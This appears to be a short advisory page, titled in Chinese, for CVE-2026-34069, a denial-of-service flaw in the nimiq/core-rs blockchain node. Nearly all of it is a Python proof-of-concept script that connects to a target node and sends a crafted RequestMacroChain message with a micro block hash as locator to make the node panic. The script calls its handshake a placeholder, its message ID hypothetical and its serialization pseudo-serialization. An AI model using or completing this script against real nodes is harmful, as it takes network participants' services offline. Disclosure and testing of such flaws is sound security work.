CVE-2026-34069 nimiq/core-rs拒绝服务漏洞

# Proof of Concept for CVE-2026-34069 # This script demonstrates the logic to trigger the panic. # Note: Actual network packet structure depends on Nimiq P2P protocol specs. import socket import struct def send_malicious_p2p_message(target_ip, target_port): """ Sends a crafted RequestMacroChain message with a micro block hash as the first locator to trigger the panic. """ try: # Establish connection to the target node s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Placeholder for P2P Handshake (simplified) # In a real scenario, a valid handshake is required first. s.send(b"HANDSHAKE_DATA...") # Construct the malicious payload # Message Type: RequestMacroChain (Hypothetical ID 0x15) msg_type = struct.pack('>H', 0x15) # Locator hashes: The first hash must be a Micro Block hash present on the main chain. # Normally this expects a Macro Block hash. # Using a dummy micro block hash for demonstration. micro_block_hash = bytes.fromhex("00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff") # Serialize payload (Length + Hash) # This is pseudo-serialization based on the vulnerability description payload = msg_type + struct.pack('>B', 1) + micro_block_hash # 1 locator # Send payload s.send(payload) print("[+] Malicious message sent. If vulnerable, the node should panic.") s.close() except Exception as e: print(f"[-] Error: {e}") # Usage # send_malicious_p2p_message("<TARGET_IP>", <TARGET_PORT>)